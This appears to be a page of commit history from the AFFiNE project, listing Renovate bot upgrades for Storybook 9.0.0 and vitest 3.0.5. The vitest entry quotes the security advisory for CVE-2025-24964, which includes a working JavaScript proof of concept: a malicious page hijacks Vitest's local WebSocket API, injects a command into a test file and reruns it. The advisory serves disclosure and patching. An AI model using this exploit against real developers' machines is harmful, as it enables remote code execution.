- Docs: Consolidate blocks into addon-docs - [#​31097](https://redirect.github.com/storybookjs/storybook/pull/31097 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Docs: Fix source code panel - [#​31245](https://redirect.github.com/storybookjs/storybook/pull/31245 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Eslint-plugin: Handle JSON5 format - [#​31336](https://redirect.github.com/storybookjs/storybook/pull/31336 ), thanks [@​yatishgoel](https://redirect.github.com/yatishgoel )!
- ESLint: Fix flat config setup - [#​31192](https://redirect.github.com/storybookjs/storybook/pull/31192 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Essentials: Move remaining addons into core - [#​30924](https://redirect.github.com/storybookjs/storybook/pull/30924 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Highlights: Dont run highlights when the feature is disabled - [#​31239](https://redirect.github.com/storybookjs/storybook/pull/31239 ), thanks [@​dannyhw](https://redirect.github.com/dannyhw )!
- Hooks: Stabilize experimental afterEach hook - [#​31438](https://redirect.github.com/storybookjs/storybook/pull/31438 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- HTML Framework: Remove support for HTML Webpack 5 - [#​30990](https://redirect.github.com/storybookjs/storybook/pull/30990 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Indexer: Do not create autodocs entries unless addon-docs installed - [#​31331](https://redirect.github.com/storybookjs/storybook/pull/31331 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Init: Install framework stories instead of renderer stories - [#​31160](https://redirect.github.com/storybookjs/storybook/pull/31160 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Instrumenter: Fix `preview-api` import for react-native - [#​31057](https://redirect.github.com/storybookjs/storybook/pull/31057 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Interactions: Rename component test panel - [#​31130](https://redirect.github.com/storybookjs/storybook/pull/31130 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Maintenance: Drop tooling support - [#​30940](https://redirect.github.com/storybookjs/storybook/pull/30940 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Maintenance: Merge `@storybook/core` with `storybook` - [#​30168](https://redirect.github.com/storybookjs/storybook/pull/30168 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Maintenance: Migrate eslint-storybook-plugin into the monorepo - [#​31151](https://redirect.github.com/storybookjs/storybook/pull/31151 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Maintenance: Remove aliasses in builder configurations & scripts - [#​31344](https://redirect.github.com/storybookjs/storybook/pull/31344 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Maintenance: Remove deprecated APIs - [#​30926](https://redirect.github.com/storybookjs/storybook/pull/30926 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Maintenance: Remove deprecated packages - [#​30690](https://redirect.github.com/storybookjs/storybook/pull/30690 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Maintenance: Remove obsolete automigrations - [#​30945](https://redirect.github.com/storybookjs/storybook/pull/30945 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Maintenance: Specify that Addon Test now requires Vitest 3.0 - [#​30948](https://redirect.github.com/storybookjs/storybook/pull/30948 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Manager: Add reactivity to useParameter - [#​31579](https://redirect.github.com/storybookjs/storybook/pull/31579 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Manager: Fix `Uncaught ReferenceError: global is not defined` - [#​30970](https://redirect.github.com/storybookjs/storybook/pull/30970 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Migration: Add auto-automigration for merged packages - [#​30753](https://redirect.github.com/storybookjs/storybook/pull/30753 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Migration: Improve glob question text - [#​31118](https://redirect.github.com/storybookjs/storybook/pull/31118 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Next.js-Vite: Stabilize [@​storybook/experimental-nextjs-vite](https://redirect.github.com/storybook/experimental-nextjs-vite ) - [#​30956](https://redirect.github.com/storybookjs/storybook/pull/30956 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Next.js: Remove deprecated compatibility files - [#​31295](https://redirect.github.com/storybookjs/storybook/pull/31295 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Next.js: Upgrade image-size to 2.0 - [#​30741](https://redirect.github.com/storybookjs/storybook/pull/30741 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Nextjs Vite: Add runtime check for malformed postcss config - [#​31184](https://redirect.github.com/storybookjs/storybook/pull/31184 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Nextjs-Vite: Update vite-plugin-storybook-nextjs version and add optimizeDeps - [#​31037](https://redirect.github.com/storybookjs/storybook/pull/31037 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Node.js: Align Node.js version support - [#​31041](https://redirect.github.com/storybookjs/storybook/pull/31041 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Preact: Remove support for Preact Webpack 5 - [#​30957](https://redirect.github.com/storybookjs/storybook/pull/30957 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Presets: Use `.js` files when `.cjs` files are passed for entries that should be ESM - [#​31556](https://redirect.github.com/storybookjs/storybook/pull/31556 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Pseudo States: Ignore escaped pseudo-class names - [#​31515](https://redirect.github.com/storybookjs/storybook/pull/31515 ), thanks [@​sentience](https://redirect.github.com/sentience )!
- React Native Web: Add RNW to vitest supported frameworks - [#​31253](https://redirect.github.com/storybookjs/storybook/pull/31253 ), thanks [@​dannyhw](https://redirect.github.com/dannyhw )!
- React Native: Fix support for 9.0 - [#​31518](https://redirect.github.com/storybookjs/storybook/pull/31518 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- React-Native: Fix `__STORYBOOK_ADDON_INTERACTIONS_INSTRUMENTER_STATE__` access - [#​30820](https://redirect.github.com/storybookjs/storybook/pull/30820 ), thanks [@​dannyhw](https://redirect.github.com/dannyhw )!
- React-Native: Fix `userEvent.setup()` errors in jest - [#​30833](https://redirect.github.com/storybookjs/storybook/pull/30833 ), thanks [@​dannyhw](https://redirect.github.com/dannyhw )!
- React-Native: Fix `userEvent.setup()` errors outside browser context - [#​30831](https://redirect.github.com/storybookjs/storybook/pull/30831 ), thanks [@​dannyhw](https://redirect.github.com/dannyhw )!
- React-Native: Update config directory to .rnstorybook - [#​30819](https://redirect.github.com/storybookjs/storybook/pull/30819 ), thanks [@​dannyhw](https://redirect.github.com/dannyhw )!
- React: Don't use Act wrapper in Storybook when rendering in docs - [#​31483](https://redirect.github.com/storybookjs/storybook/pull/31483 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- React: Ensure render functions and decorators are react components - [#​30869](https://redirect.github.com/storybookjs/storybook/pull/30869 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- React: Export returntype of ReactMeta#story - [#​30580](https://redirect.github.com/storybookjs/storybook/pull/30580 ), thanks [@​mrginglymus](https://redirect.github.com/mrginglymus )!
- React: Remove react import in template files - [#​30757](https://redirect.github.com/storybookjs/storybook/pull/30757 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Refactor: Update panel IDs in vitest addon to use new constants - [#​31132](https://redirect.github.com/storybookjs/storybook/pull/31132 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Remove: Addon mdx-gfm (`@storybook/addon-mdx-gfm`) - [#​30996](https://redirect.github.com/storybookjs/storybook/pull/30996 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Revert "Svelte: Adjust Svelte typings to include Svelte 5 function components" - [#​30851](https://redirect.github.com/storybookjs/storybook/pull/30851 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Save from Controls: Replace rendererPackage with frameworkPackage - [#​31114](https://redirect.github.com/storybookjs/storybook/pull/31114 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Source Loader: Remove package - [#​31466](https://redirect.github.com/storybookjs/storybook/pull/31466 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Source: Support async parameters.docs.source.transform - [#​30426](https://redirect.github.com/storybookjs/storybook/pull/30426 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Svelte-vite: Improve SvelteKit detection error - [#​31038](https://redirect.github.com/storybookjs/storybook/pull/31038 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Svelte: Adjust Svelte typings to include Svelte 5 function components - [#​30812](https://redirect.github.com/storybookjs/storybook/pull/30812 ), thanks [@​dummdidumm](https://redirect.github.com/dummdidumm )!
- Svelte: Drop Support for Svelte < 5 - [#​30703](https://redirect.github.com/storybookjs/storybook/pull/30703 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Svelte: Fix missing `ts-dedent` dependency - [#​31289](https://redirect.github.com/storybookjs/storybook/pull/31289 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Svelte: Install `latest` version of `@storybook/addon-svelte-csf` - [#​31398](https://redirect.github.com/storybookjs/storybook/pull/31398 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Svelte: Pin svelte2tsx to solve argType regression - [#​30783](https://redirect.github.com/storybookjs/storybook/pull/30783 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Svelte: Remove dependency on `sveltedoc-parser` - [#​31246](https://redirect.github.com/storybookjs/storybook/pull/31246 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Svelte: Remove unused `svelte-preprocess` dependency - [#​31332](https://redirect.github.com/storybookjs/storybook/pull/31332 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- SvelteKit: Forward form events when mocking `enhance` - [#​31360](https://redirect.github.com/storybookjs/storybook/pull/31360 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- Telemetry: Add Svelte CSF usage - [#​31255](https://redirect.github.com/storybookjs/storybook/pull/31255 ), thanks [@​shilman](https://redirect.github.com/shilman )!
- Telemetry: Use version from our package.json for `storybookVersion` - [#​31577](https://redirect.github.com/storybookjs/storybook/pull/31577 ), thanks [@​tmeasday](https://redirect.github.com/tmeasday )!
- Test Addon: Stabilize and remove experimental status - [#​30727](https://redirect.github.com/storybookjs/storybook/pull/30727 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Test: Allow generics in expect matchers - [#​31395](https://redirect.github.com/storybookjs/storybook/pull/31395 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Test: Handle non-configurable properties in instrumenter for expect.toThrow - [#​30876](https://redirect.github.com/storybookjs/storybook/pull/30876 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Test: Make sure that expect has no different behavior after instrumentation - [#​30935](https://redirect.github.com/storybookjs/storybook/pull/30935 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Test: Move `@storybook/test` into `storybook/test` - [#​30742](https://redirect.github.com/storybookjs/storybook/pull/30742 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Test: Patch HTMLElement.prototype.focus method for settable focus in tests - [#​31487](https://redirect.github.com/storybookjs/storybook/pull/31487 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Test: Remove legacy Vitest v2 code - [#​31271](https://redirect.github.com/storybookjs/storybook/pull/31271 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Test: Upgrade to vitest 3 - [#​30840](https://redirect.github.com/storybookjs/storybook/pull/30840 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Test: Use [@​testing-library/dom](https://redirect.github.com/testing-library/dom ) as devDependency - [#​31188](https://redirect.github.com/storybookjs/storybook/pull/31188 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Toolbars: Embed addon-toolbars into the core - [#​30871](https://redirect.github.com/storybookjs/storybook/pull/30871 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Typescript: Drop Typescript < 4.9 support - [#​30736](https://redirect.github.com/storybookjs/storybook/pull/30736 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- UI: Add options to hide sidebar and toolbar per story - [#​29516](https://redirect.github.com/storybookjs/storybook/pull/29516 ), thanks [@​Sidnioulz](https://redirect.github.com/Sidnioulz )!
- UI: Clear filters on run all and clear all statuses - [#​31073](https://redirect.github.com/storybookjs/storybook/pull/31073 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- UI: Don't include error state in sidebar context menu - [#​31054](https://redirect.github.com/storybookjs/storybook/pull/31054 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- UI: Fix status missing from sidebar - [#​30830](https://redirect.github.com/storybookjs/storybook/pull/30830 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
- UI: Visual tweaks to badges and improved layout for a11y panel - [#​30955](https://redirect.github.com/storybookjs/storybook/pull/30955 ), thanks [@​ghengeveld](https://redirect.github.com/ghengeveld )!
- Update react-router-dom to lowest React19 type-compatible version - [#​31358](https://redirect.github.com/storybookjs/storybook/pull/31358 ), thanks [@​mrginglymus](https://redirect.github.com/mrginglymus )!
- Viewport: Embed addon-viewport in the core - [#​30909](https://redirect.github.com/storybookjs/storybook/pull/30909 ), thanks [@​ndelangen](https://redirect.github.com/ndelangen )!
- Viewport: Fix globals type - [#​31374](https://redirect.github.com/storybookjs/storybook/pull/31374 ), thanks [@​flaval](https://redirect.github.com/flaval )!
- Vite-Builder: Handle undefined previewConfig - [#​31216](https://redirect.github.com/storybookjs/storybook/pull/31216 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Vite: Add 'storybook/viewport' to INCLUDE_CANDIDATES in optimizeDeps.ts - [#​31039](https://redirect.github.com/storybookjs/storybook/pull/31039 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Vite: Improve handling of preview annotations - [#​28798](https://redirect.github.com/storybookjs/storybook/pull/28798 ), thanks [@​tobiasdiez](https://redirect.github.com/tobiasdiez )!
- Vite: Normalize preview annotation paths - [#​31238](https://redirect.github.com/storybookjs/storybook/pull/31238 ), thanks [@​mrginglymus](https://redirect.github.com/mrginglymus )!
- Vite: Support Vite 6 and Docs - [#​31061](https://redirect.github.com/storybookjs/storybook/pull/31061 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Vitest: Remove beforeAll in vitest.setup.ts in automigration - [#​31460](https://redirect.github.com/storybookjs/storybook/pull/31460 ), thanks [@​kasperpeulen](https://redirect.github.com/kasperpeulen )!
- Vue3: Remove support for Webpack 5 - [#​30958](https://redirect.github.com/storybookjs/storybook/pull/30958 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Web Components: Remove Webpack 5 support - [#​30988](https://redirect.github.com/storybookjs/storybook/pull/30988 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
- Yarn: Update Yarn package command execution to use 'exec' - [#​31065](https://redirect.github.com/storybookjs/storybook/pull/31065 ), thanks [@​valentinpalkovic](https://redirect.github.com/valentinpalkovic )!
Total contributions: 240
Unique contributors: 29
</details>
</details>
<details>
<summary>storybookjs/storybook (storybook)</summary>
### [`v9.0.0`](https://redirect.github.com/storybookjs/storybook/compare/v8.6.14...5dd81ae54583e9d445c515fa6640f26de0056592 )
[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.6.14...v9.0.0 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4zMy42IiwidXBkYXRlZEluVmVyIjoiNDAuMzMuNiIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-05-29 04:05:23 +00:00
renovate
75c4291325
chore: bump up vitest version to v3.0.5 [SECURITY] ( #9938 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq )
### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
### Details
When [`api` option](https://vitest.dev/config/#api ) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)
This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)
### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.
```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
```
### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (vitest)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes ) in [https://github.com/vitest-dev/vitest/issues/7366 ](https://redirect.github.com/vitest-dev/vitest/issues/7366 ) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd )
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7317 ](https://redirect.github.com/vitest-dev/vitest/issues/7317 ) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34 )
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7336 ](https://redirect.github.com/vitest-dev/vitest/issues/7336 ) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69 )
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7365 ](https://redirect.github.com/vitest-dev/vitest/issues/7365 ) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7313 ](https://redirect.github.com/vitest-dev/vitest/issues/7313 ) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d )
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301 )) [<samp>(ef146)</samp>](ef1464fc7b )
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7340 ](https://redirect.github.com/vitest-dev/vitest/issues/7340 ) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7297 ](https://redirect.github.com/vitest-dev/vitest/issues/7297 ) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae )
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7289 ](https://redirect.github.com/vitest-dev/vitest/issues/7289 ) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c )
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7335 ](https://redirect.github.com/vitest-dev/vitest/issues/7335 ) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9 )
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7328 ](https://redirect.github.com/vitest-dev/vitest/issues/7328 ) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7306 ](https://redirect.github.com/vitest-dev/vitest/issues/7306 ) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2 )
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7311 ](https://redirect.github.com/vitest-dev/vitest/issues/7311 ) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56 )
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7291 ](https://redirect.github.com/vitest-dev/vitest/issues/7291 ) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00